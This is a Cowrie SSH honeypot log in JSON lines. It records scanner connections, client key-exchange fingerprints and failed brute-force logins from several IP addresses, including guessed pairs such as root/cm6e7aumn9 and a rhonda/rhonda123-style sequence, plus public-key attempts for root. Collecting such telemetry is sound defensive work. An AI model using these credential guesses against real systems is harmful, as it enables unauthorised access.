{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:20.842696Z","src_ip":"104.155.127.59","session":"a35613e482f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:20.849633Z","src_ip":"104.155.127.59","session":"a35613e482f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.127.59","src_port":36276,"dst_ip":"10.17.0.5","dst_port":22,"session":"3165225e590a","protocol":"ssh","message":"New connection: 104.155.127.59:36276 (10.17.0.5:22) [session: 3165225e590a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:20.997576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:21.129473Z","src_ip":"104.155.127.59","session":"3165225e590a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:21.205127Z","src_ip":"104.155.127.59","session":"3165225e590a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:21.435899Z","src_ip":"104.155.127.59","session":"3165225e590a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.127.59","src_port":36280,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a1acf547346","protocol":"ssh","message":"New connection: 104.155.127.59:36280 (10.17.0.5:22) [session: 8a1acf547346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:21.665035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:21.694983Z","src_ip":"104.155.127.59","session":"8a1acf547346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b4b8ae3d7241d2c1dc54b4df7e8c19d1","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b4b8ae3d7241d2c1dc54b4df7e8c19d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:21.798369Z","src_ip":"104.155.127.59","session":"8a1acf547346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:22.204350Z","src_ip":"104.155.127.59","session":"8a1acf547346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":33096,"dst_ip":"10.17.0.5","dst_port":22,"session":"d979ac06bd91","protocol":"ssh","message":"New connection: 157.230.190.155:33096 (10.17.0.5:22) [session: d979ac06bd91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:33.739057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:33.744097Z","src_ip":"157.230.190.155","session":"d979ac06bd91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:33.749292Z","src_ip":"157.230.190.155","session":"d979ac06bd91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:33.801542Z","src_ip":"157.230.190.155","session":"d979ac06bd91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:34.809658Z","src_ip":"157.230.190.155","session":"d979ac06bd91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":53476,"dst_ip":"10.17.0.5","dst_port":22,"session":"226533f7247c","protocol":"ssh","message":"New connection: 193.228.128.84:53476 (10.17.0.5:22) [session: 226533f7247c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:38.972195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:38.976891Z","src_ip":"193.228.128.84","session":"226533f7247c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:39.078335Z","src_ip":"193.228.128.84","session":"226533f7247c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cm6e7aumn9","message":"login attempt [root/cm6e7aumn9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:39.384330Z","src_ip":"193.228.128.84","session":"226533f7247c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:40.487809Z","src_ip":"193.228.128.84","session":"226533f7247c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":56749,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c4a6fa90102","protocol":"ssh","message":"New connection: 213.209.159.56:56749 (10.17.0.5:22) [session: 2c4a6fa90102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:09.716858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:09.722971Z","src_ip":"213.209.159.56","session":"2c4a6fa90102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:09.805202Z","src_ip":"213.209.159.56","session":"2c4a6fa90102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rhonda","password":"rhonda","message":"login attempt [rhonda/rhonda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:10.207887Z","src_ip":"213.209.159.56","session":"2c4a6fa90102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rhonda","password":"rhonda1","message":"login attempt [rhonda/rhonda1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:11.293988Z","src_ip":"213.209.159.56","session":"2c4a6fa90102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rhonda","password":"rhonda123","message":"login attempt [rhonda/rhonda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:12.379436Z","src_ip":"213.209.159.56","session":"2c4a6fa90102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rhonda","password":"rhonda1234","message":"login attempt [rhonda/rhonda1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:13.465695Z","src_ip":"213.209.159.56","session":"2c4a6fa90102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rhonda","password":"rhonda12345","message":"login attempt [rhonda/rhonda12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:14.551819Z","src_ip":"213.209.159.56","session":"2c4a6fa90102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:15.637576Z","src_ip":"213.209.159.56","session":"2c4a6fa90102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51953,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0f0c27aa5e1","protocol":"ssh","message":"New connection: 152.42.212.128:51953 (10.17.0.5:22) [session: b0f0c27aa5e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:17.144598Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:17.149007Z","src_ip":"152.42.212.128","session":"b0f0c27aa5e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:17.152475Z","src_ip":"152.42.212.128","session":"b0f0c27aa5e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.110.115.68","src_port":34708,"dst_ip":"10.17.0.5","dst_port":22,"session":"56a8c1e3b5a7","protocol":"ssh","message":"New connection: 175.110.115.68:34708 (10.17.0.5:22) [session: 56a8c1e3b5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.016554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.022532Z","src_ip":"175.110.115.68","session":"56a8c1e3b5a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.110871Z","src_ip":"175.110.115.68","session":"56a8c1e3b5a7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:c7:bc:02:15:82:87:62:36:72:dc:b3:db:97:48:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8LqV2BXJhApjBV/Mw1mDIVDmq3fpz3cjlDnMckx6eZjKFgS8udOV6yre4M+55TyEl8KtXtN/F4rOYXoTbayyGcJIKw2/sTbcTsVqcXnEbAdx9y1xjWsJciWzYScBiWe6S8MnDrkAPTFra8zSJxQTwtL4kroDgthvJkFe/bIpStz+FfHJQHSkjAijc5Ur1nkX38cxeRKwK5knoIxRasq21bxRHHqVjx7wiK/GYBeMIXVFiHRcyy4ldLPNhs0mYnwNT/cy82qWZjb+FoWYH5B+PPlawcMfeht1w79wzvFSqXidKu3cVsfkOwtCKqTXI0zJI9FPnoc0QZMFYxcwZ8JZ13hZfJ8O0bd+ZwpH4mOmrkyRvazmyaw4WgTY7jJBkOkVi2MHrrwaS5MU/lZnpezW+/T0ZDA/kCDxT7Gf9WT4J03rj6be5d61KJP5j3FFIyuL02fsh5J2orb7/xPNUcgqSuCIqnsudnsq3fyyaYNPxPFwq2nIw8XOQb+B3Atg21TZu1fb+Qlb9tvuqnRQoksSh1ZlgDzmfsuIYqR+PTakIt4XWxDXztdqYv9n+z+kAXr41Lg1bmNR2xa6EnZWejn1nPWFdHXiHbvSXdFGu7FWANpjpjmqheluTRBo06OWHLS/HE1aBKD8e/VRuey5XqugIbfcaNuYErvxofHU5AfXnuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:c7:bc:02:15:82:87:62:36:72:dc:b3:db:97:48:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.527359Z","src_ip":"175.110.115.68","session":"56a8c1e3b5a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:c7:bc:02:15:82:87:62:36:72:dc:b3:db:97:48:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8LqV2BXJhApjBV/Mw1mDIVDmq3fpz3cjlDnMckx6eZjKFgS8udOV6yre4M+55TyEl8KtXtN/F4rOYXoTbayyGcJIKw2/sTbcTsVqcXnEbAdx9y1xjWsJciWzYScBiWe6S8MnDrkAPTFra8zSJxQTwtL4kroDgthvJkFe/bIpStz+FfHJQHSkjAijc5Ur1nkX38cxeRKwK5knoIxRasq21bxRHHqVjx7wiK/GYBeMIXVFiHRcyy4ldLPNhs0mYnwNT/cy82qWZjb+FoWYH5B+PPlawcMfeht1w79wzvFSqXidKu3cVsfkOwtCKqTXI0zJI9FPnoc0QZMFYxcwZ8JZ13hZfJ8O0bd+ZwpH4mOmrkyRvazmyaw4WgTY7jJBkOkVi2MHrrwaS5MU/lZnpezW+/T0ZDA/kCDxT7Gf9WT4J03rj6be5d61KJP5j3FFIyuL02fsh5J2orb7/xPNUcgqSuCIqnsudnsq3fyyaYNPxPFwq2nIw8XOQb+B3Atg21TZu1fb+Qlb9tvuqnRQoksSh1ZlgDzmfsuIYqR+PTakIt4XWxDXztdqYv9n+z+kAXr41Lg1bmNR2xa6EnZWejn1nPWFdHXiHbvSXdFGu7FWANpjpjmqheluTRBo06OWHLS/HE1aBKD8e/VRuey5XqugIbfcaNuYErvxofHU5AfXnuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.531275Z","src_ip":"175.110.115.68","session":"56a8c1e3b5a7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:17:65:32:2d:09:32:1e:61:19:78:d0:96:02:a0:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfGz2CCVw4ynzBCqi5+Rc1uHsnOcczeOx4/yfn5dklzPKKwQhlntv55qQpGwQpWNlppGnO9rFKn4fF7Gd03s5kX+Igd/U89L1OQwGzjixjtNfKc7rlU5ANUPXXmDP7vQnL8j9/0LSpGeKG1HsWpeDcpOd2yMzgalWZQdcQOCdxUcCSxGTAacF08CDfZe2vz680puY+WRYINhmRedURe3tilMp+e1lw47rYgufmVAgZeGwPXXBJbr3aIFHjw6sv/lvXR5ix5hIDOELRkHmOtveufrOth7WkEdwCziTGmd8WWL4x+osEoc7m+PkHSH1B4HEdndRyEFWRGVE+xBpi1TpB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:17:65:32:2d:09:32:1e:61:19:78:d0:96:02:a0:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.621135Z","src_ip":"175.110.115.68","session":"56a8c1e3b5a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:17:65:32:2d:09:32:1e:61:19:78:d0:96:02:a0:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfGz2CCVw4ynzBCqi5+Rc1uHsnOcczeOx4/yfn5dklzPKKwQhlntv55qQpGwQpWNlppGnO9rFKn4fF7Gd03s5kX+Igd/U89L1OQwGzjixjtNfKc7rlU5ANUPXXmDP7vQnL8j9/0LSpGeKG1HsWpeDcpOd2yMzgalWZQdcQOCdxUcCSxGTAacF08CDfZe2vz680puY+WRYINhmRedURe3tilMp+e1lw47rYgufmVAgZeGwPXXBJbr3aIFHjw6sv/lvXR5ix5hIDOELRkHmOtveufrOth7WkEdwCziTGmd8WWL4x+osEoc7m+PkHSH1B4HEdndRyEFWRGVE+xBpi1TpB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:26:23.625286Z","src_ip":"175.110.115.68","session":"56a8c1e3b5a7","protocol":"ssh"}
